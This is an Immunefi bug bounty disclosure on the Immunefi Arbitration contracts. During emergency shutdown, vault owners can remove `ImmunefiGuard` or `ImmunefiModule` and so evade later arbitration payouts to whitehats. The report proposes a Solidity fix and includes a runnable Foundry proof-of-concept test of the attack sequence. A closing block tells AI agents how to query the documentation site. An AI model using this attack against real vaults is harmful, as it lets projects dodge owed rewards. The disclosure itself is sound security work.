# 29384 - \[SC - Insight] Malicious project can remove the ImmunefiGuard ... Submitted on Mar 16th 2024 at 04:37:03 UTC by @marchev for [Boost | Immunefi Arbitration](https://immunefi.com/bounty/immunefiarbitration-boost/) Report ID: #29384 Report type: Smart Contract Report severity: Insight Target: Impacts: * Theft of unclaimed yield ## Description ## Brief/Intro In case Emergency Exit mode is activated, `ImmunefiGuard` allows vault owners to execute **any** action on the underlying Gnosis Safe. This also allows adding/removing guards and modules from the vault including `ImmunefiGuard` or `ImmunefiModule`. This flexibility, however, compromises the protocol's integrity once Emergency Exit is deactivated, as it allows vault owners to sidestep the safeguards provided by `ImmunefiGuard` and `ImmunefiModule`. ## Brief/Intro When the emergency shutdown mode is activated, `ImmunefiGuard` enables vault owners to perform **any** action on their Gnosis Safe, including adding or removing guards and modules. This presents a vulnerability where a malicious vault owner could disable the `ImmunefiModule`. Consequently, when emergency shutdown mode is turned off, attempts to payout rewards to whitehats via the Arbitration system would revert. ## Vulnerability Details The protocol features a singleton `EmergencySystem`. Activation of the emergency shutdown mode affects all vaults, enabling unrestricted action by vault owners. This is highlighted in the `ImmunefiGuard#checkTransaction()` function, which during an emergency permits any transaction: ```sol function checkTransaction( // ... ) public view override { // ... if (emergencySystem.emergencyShutdownActive()) { //@audit This allows **any** function to be executed by vault owner in case emergency shutdown mode is active. return; } // ... } ``` Such design permits the removal of critical components like `ImmunefiGuard` and `ImmunefiModule`, undermining protocol integrity and security post-emergency. It is worth noting the `EmergencySystem` also allows deactivation of the emergency mode once issues are addressed (via `deactivateEmergencyShutdown()`), intending for the protocol to resume normal operations with its core invariants remaining intact. The current capability to remove core component for the protocol violates this intent and poses a significant security risk. Here's how the vulnerability could be misused: 1. The protocol owner activates the emergency shutdown. 2. A malicious project takes advantage of the vulnerability and removes `ImmunefiGuard` and `ImmunefiModule` from their vault. 3. The protocol owner deactivates the emergency mode. 4. A whitehat requests an arbitration. 5. An arbiter rules in favor of the whitehat, triggering a reward payout and attempts to enforce reward payout. 6. The reward payout gets reverted since the `RewardSystem` attempts to force the payour via the `ImmunefiModule` which has been disabled by the malicious project for their vault. ## Impact Details The core components, `ImmunefiGuard` and `ImmunefiModule`, ensure compliance with arbitration decisions. Removing or disabling the `ImmunefiModule` component enables a malicious project to evade payouts determined by arbitration, leading to financial losses for whitehats. Additionally, by being able to remove the `ImmunefiGuard` during the emergency shutdown mode, a malicious project now can freely execute any action on their vault without any limitations which also breaks core invariants of the Arbitration system. ## Solution The `ImmunefiGuard` can be modified as follows to let vault owners execute any function during an emergency exit, except for adding or removing guards and modules: ```diff diff --git a/src/guards/ImmunefiGuard.sol b/src/guards/ImmunefiGuard.sol index e17b40d..3e6fe70 100644 --- a/src/guards/ImmunefiGuard.sol +++ b/src/guards/ImmunefiGuard.sol @@ -64,7 +64,12 @@ contract ImmunefiGuard is ScopeGuard, IImmunefiGuardEvents { // if the system is shutdown, guard logic is detached // project can use as a vanilla safe if (emergencySystem.emergencyShutdownActive()) { - return; + bytes4 funcSig = bytes4(data); + if (funcSig != /* setGuard(address) */ 0xe19a9dd9 && + funcSig != /* enableModule(address) */ 0x610b5925 && + funcSig != /* disableModule(address,address)*/ 0xe009cfde) { + return; + } } if (guardBypassers[msgSender]) { ``` The ability to add/remove guards is not critical in case of emergency, especially given the fact that the Emergency System bypasses both the `ImmunefiModule` and the `ImmunefiGuard`. Moreover, it is imperative that Immunefi vaults are used solely for the purposes of reward distribution for bug bounty programs at Immunefi. Thus, blocking the ability to add/remove modules/guards does not affect the ability of the protocol to withdraw their funds or perform other critical functions in case of an emergency. ## References ## Proof of Concept The vulnerability could be reproduced by modifying the `Arbitration.t.sol` file and adding the following test to it. The implemented scenario demonstrates how a malicous project could disable their vault's `ImmunefiModule` during emergency which later on results in revert of payouts which are attempted by the Arbitration system. ```sol function testMaliciousProjectCanCauseSendRewardToFailAfterEmergencyShutdown() public { // 0. Set right permissions on moduleGuard vm.startPrank(protocolOwner); moduleGuard.setTargetAllowed(address(vaultDelegate), true); moduleGuard.setAllowedFunction(address(vaultDelegate), vaultDelegate.sendTokens.selector, true); moduleGuard.setDelegateCallAllowedOnTarget(address(vaultDelegate), true); moduleGuard.setTargetAllowed(address(vaultDelegate), true); moduleGuard.setAllowedFunction(address(vaultDelegate), vaultDelegate.sendReward.selector, true); moduleGuard.setDelegateCallAllowedOnTarget(address(vaultDelegate), true); vm.stopPrank(); // 0. Arbitration ref ID uint96 referenceId = 1; // 0. Mint feeAmount of feeToken to whitehat ERC20PresetMinterPauser token = ERC20PresetMinterPauser(address(arbitration.feeToken())); vm.startPrank(protocolOwner); token.mint(whitehat, arbitration.feeAmount()); vm.stopPrank(); // 1. Protocol owner enables emergency shutdown since a critical issue was found in the Arbitration protocol vm.prank(protocolOwner); emergencySystem.activateEmergencyShutdown(); bytes memory disableImmunefiModuleHashData = vault.encodeTransactionData({ to: address(vault), value: 0, data: abi.encodeCall(vault.disableModule, (address(0x1), address(immunefiModule))), operation: Enum.Operation.Call, safeTxGas: 0, baseGas: 0, gasPrice: 0, gasToken: address(0), refundReceiver: address(0), _nonce: vault.nonce() }); bytes memory disableImmunefiModuleSignature = _signData(vaultSignerPk, disableImmunefiModuleHashData); // 2. Malicious project disables the ImmunefiModule since ImmunefiGuard allows **any** transaction on the vault. vault.execTransaction( address(vault), 0, abi.encodeCall(vault.disableModule, (address(0x1), address(immunefiModule))), Enum.Operation.Call, 0, 0, 0, address(0), payable(0), disableImmunefiModuleSignature ); // 3. Critical issue gets fixed/resolved and protocol owner deactivates emergency shutdown. vm.prank(protocolOwner); emergencySystem.deactivateEmergencyShutdown(); // 4. Whitehat approves spending the fee amount for an arbitration. vm.startPrank(whitehat); token.approve(address(arbitration), arbitration.feeAmount()); vm.stopPrank(); // 5. Whitehat signs request for arbitration bytes memory signature = _signData( whitehatPk, arbitration.encodeRequestArbFromWhitehatData(referenceId, address(vault)) ); // 6. Whitehat requests arbitration and pays the fee. vm.prank(whitehat); arbitration.requestArbWhitehat(referenceId, address(vault), whitehat, signature); vm.deal(address(vault), 110 ether); bytes32 arbitrationId = arbitration.computeArbitrationId(referenceId, address(vault), whitehat); // 7. Arbiter enforces sending reward to the whitehat. // The txn fails since the malicious project has disabled ImmunefiModule which results in GS104 error. vm.startPrank(arbiter); arbitration.enforceSendRewardWhitehat( arbitrationId, new Rewards.ERC20Reward[](0), 100 ether, vaultDelegate.UNTRUSTED_TARGET_GAS_CAP(), true ); vm.stopPrank(); } ``` Run the PoC via: ```sh forge test --mt "testMaliciousProjectCanCauseSendRewardToFailAfterEmergencyShutdown" -vvvvv ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://reports.immunefi.com/immunefi-arbitration/29384-sc-insight-malicious-project-can-remove-the-immunefiguard-....md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.